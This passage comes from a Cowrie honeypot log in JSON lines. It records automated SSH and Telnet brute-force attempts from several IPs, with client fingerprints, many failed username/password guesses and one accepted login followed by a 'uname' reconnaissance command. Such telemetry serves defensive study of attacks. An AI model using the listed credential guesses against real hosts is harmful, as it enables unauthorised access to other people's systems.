0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:17.076927Z","src_ip":"45.156.87.147","session":"38dcaa5f5a8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"worker","password":"worker","message":"login attempt [worker/worker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:17.333066Z","src_ip":"45.156.87.147","session":"38dcaa5f5a8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:17.611777Z","src_ip":"91.92.42.227","session":"386254f90372","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":34412,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e187a6befac","protocol":"ssh","message":"New connection: 91.92.42.227:34412 (10.17.0.5:22) [session: 4e187a6befac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:17.847162Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:18.421215Z","src_ip":"45.156.87.147","session":"38dcaa5f5a8e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:18.573406Z","src_ip":"91.92.42.227","session":"4e187a6befac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:18.576754Z","src_ip":"91.92.42.227","session":"4e187a6befac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123","message":"login attempt [user2/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:22.416009Z","src_ip":"91.92.42.227","session":"4e187a6befac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":47876,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f0e63741aee","protocol":"ssh","message":"New connection: 45.156.87.147:47876 (10.17.0.5:22) [session: 1f0e63741aee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:22.759873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:22.764263Z","src_ip":"45.156.87.147","session":"1f0e63741aee","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:22.842144Z","src_ip":"8.219.200.1","session":"15b5a6fcc2eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:22.847143Z","src_ip":"45.156.87.147","session":"1f0e63741aee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:23.076590Z","src_ip":"8.219.200.1","session":"15b5a6fcc2eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"123","message":"login attempt [claude/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:23.109295Z","src_ip":"45.156.87.147","session":"1f0e63741aee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:24.196531Z","src_ip":"45.156.87.147","session":"1f0e63741aee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:24.230104Z","src_ip":"91.92.42.227","session":"4e187a6befac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":34494,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd73a9e478c9","protocol":"ssh","message":"New connection: 91.92.42.227:34494 (10.17.0.5:22) [session: fd73a9e478c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:24.613134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:25.379713Z","src_ip":"91.92.42.227","session":"fd73a9e478c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:25.382931Z","src_ip":"91.92.42.227","session":"fd73a9e478c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:28.175845Z","src_ip":"8.219.200.1","session":"15b5a6fcc2eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":47882,"dst_ip":"10.17.0.5","dst_port":22,"session":"756ef00cefc4","protocol":"ssh","message":"New connection: 45.156.87.147:47882 (10.17.0.5:22) [session: 756ef00cefc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:28.745080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:28.749397Z","src_ip":"45.156.87.147","session":"756ef00cefc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:28.832681Z","src_ip":"45.156.87.147","session":"756ef00cefc4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam123","message":"login attempt [steam/steam123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:29.080776Z","src_ip":"45.156.87.147","session":"756ef00cefc4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:29.286024Z","src_ip":"45.156.87.147","session":"756ef00cefc4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:29.288469Z","src_ip":"45.156.87.147","session":"756ef00cefc4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:29.372093Z","src_ip":"45.156.87.147","session":"756ef00cefc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:29.376584Z","src_ip":"45.156.87.147","session":"756ef00cefc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.4","message":"Connection lost after 13.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:29.415776Z","src_ip":"8.219.200.1","session":"15b5a6fcc2eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@1234","message":"login attempt [mysql/mysql@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:29.939924Z","src_ip":"91.92.42.227","session":"fd73a9e478c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":42802,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c66c2cf96e8","protocol":"ssh","message":"New connection: 91.92.42.227:42802 (10.17.0.5:22) [session: 8c66c2cf96e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:31.441191Z"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:32.019981Z","src_ip":"91.92.42.227","session":"fd73a9e478c9","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:32.384363Z","src_ip":"91.92.42.227","session":"8c66c2cf96e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:32.389556Z","src_ip":"91.92.42.227","session":"8c66c2cf96e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":36228,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecf8d5e193eb","protocol":"ssh","message":"New connection: 45.156.87.147:36228 (10.17.0.5:22) [session: ecf8d5e193eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:34.678639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:34.682511Z","src_ip":"45.156.87.147","session":"ecf8d5e193eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:34.825339Z","src_ip":"45.156.87.147","session":"ecf8d5e193eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"momo123","message":"login attempt [root/momo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:35.114108Z","src_ip":"45.156.87.147","session":"ecf8d5e193eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":55634,"dst_ip":"159.203.135.109","dst_port":23,"session":"297312f6cf33","protocol":"telnet","message":"New connection: 172.81.62.90:55634 (159.203.135.109:23) [session: 297312f6cf33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:35.520962Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:36.205152Z","src_ip":"45.156.87.147","session":"ecf8d5e193eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste","password":"teste","message":"login attempt [teste/teste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:37.228836Z","src_ip":"91.92.42.227","session":"8c66c2cf96e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":59184,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c3188d5ae9a","protocol":"ssh","message":"New connection: 91.92.42.227:59184 (10.17.0.5:22) [session: 0c3188d5ae9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:39.073539Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.114","src_port":37958,"dst_ip":"159.203.135.109","dst_port":22,"session":"750ca0282c8f","protocol":"ssh","message":"New connection: 103.189.235.114:37958 (159.203.135.109:22) [session: 750ca0282c8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:39.104102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:39.110994Z","src_ip":"103.189.235.114","session":"750ca0282c8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:39.186842Z","src_ip":"91.92.42.227","session":"8c66c2cf96e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"